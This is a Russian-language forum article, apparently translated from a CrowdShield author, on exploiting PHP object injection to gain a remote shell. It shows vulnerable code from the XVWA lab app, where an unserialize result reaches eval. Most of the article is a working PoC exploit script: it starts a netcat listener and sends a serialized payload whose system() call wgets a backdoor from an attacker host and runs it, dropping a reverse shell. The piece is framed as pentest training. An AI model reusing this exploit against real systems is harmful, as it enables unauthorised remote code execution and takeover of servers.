• Обратная связь: [email protected]

    Наш канал в telegram: https://t.me/ru_sfera

    Группа VK: https://vk.com/rusfera

    Пользователи могут писать на форуме ТОЛЬКО ЧЕРЕЗ 7 ДНЕЙ после регистрации

Эксплуатация уязвимостей, связанных с PHP-сериализацией и Object Injection

Информация Эксплуатация уязвимостей, связанных с PHP-сериализацией и Object Injection

Автор: 1N3(@CrowdShield):Эксплуатация уязвимостей, связанных с PHP-сериализацией и Object Injection

c97eeb81083c10ee1cfc6880657735a0.png


В этой короткой заметке будет рассказано об использовании уязвимостей, связанных с PHP-сериализацией и Object Injection, для получения удаленного шелла.

Более подробная информация о сериализации в PHP представлена здесь: https://www.owasp.org/index.php/PHP_Object_Injection.

Проверить свои навыки по поиску брешей можно на примере специальных приложений, например: XVWA и Kevgir.

Детектирование сериализации

Первый шаг – детектирование наличия PHP-сериализации в тестируемом приложении. Для решения этой задачи можно использовать расширение SuperSerial для Burpsuite (см. пример ниже). В данном расширении реализовано пассивное детектирование PHP или Java сериализации.



Рисунок 1: Процедура поиска PHP сериализации при помощи расширения SuperSerial

Анализ исходного кода

После того как мы обнаружили PHP сериализацию, начинается анализ исходного текста на предмет присутствия возможности удаленного запуска кода. Глядя на код ниже, важно отметить, что сериализованные объекты берутся через параметр «r» ($var1=unserialize($_REQUEST['r']);) десериализуются и попадают в функцию eval (eval($this->inject);), а затем отображаются при помощи функции echo (echo "< br/>".$var1[0]." - ".$var1[1];).
Код:
< ?php
error_reporting(E_ALL);
class PHPObjectInjection{
public $inject;

function __construct(){

}

function __wakeup(){
if(isset($this->inject)){
eval($this->inject);
}
}
}
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
if(isset($_REQUEST['r'])){

$var1=unserialize($_REQUEST['r']);

if(is_array($var1)){
echo "
".$var1[0]." - ".$var1[1];
}
}else{
echo "parameter is missing";
}
? >
Эксплуатация уязвимости

Для эксплуатации бреши мы создадим простой PHP-скрипт, автоматически генерирующий сериализованную полезную нагрузку, которая позволит выполнять произвольные команды на удаленном хосте. В данном случае было решено создать адаптивный реверсивный шелл при помощи скрипта http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz.

Примечание: Необходимо скопировать этот файл на ваш веб-сервер, обновить локальный IP-адрес и порт в скрипте, создающем реверсивный шелл и обновить код эксплоита ниже (указать адрес вашего сервера).

Код:
< ?php
/* PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP Object Injections flaws and gain remote shell access.
Shouts to @jstnkndy @yappare for the assist!
NOTE: This requires http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
setup on a remote host with a connect back IP configured
*/

print "==============================================================================\r\n";
print "PHP Object Injection PoC Exploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print "==============================================================================\r\n";
print "[+] Generating serialized payload...[OK]\r\n";
print "[+] Launching reverse listener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp 1234\'');

class PHPObjectInjection
{
// CHANGE URL/FILENAME TO MATCH YOUR SETUP
public $inject = "system('wget http://yourhost/phpobjbackdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
}

$url = 'http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TO TARGET URL/PARAMETER
$url = $url . urlencode(serialize(new PHPObjectInjection));
print "[+] Sending exploit...[OK]\r\n";
print "[+] Dropping down to interactive shell...[OK]\r\n";
print "==============================================================================\r\n";
$response = file_get_contents("$url");

? >
Демо пример

После всех подготовительных работ мы можем запустить эксплоит и создать полноценный удаленный шелл, позволяющий выполнять команды. За содействие выражаю благодарность @jstnkndy и @yappare!

Автор
X-Shar
Просмотры
1 024
Первый выпуск
Обновление
Рейтинг
0.00 звёзд Оценок: 0
Верх Низ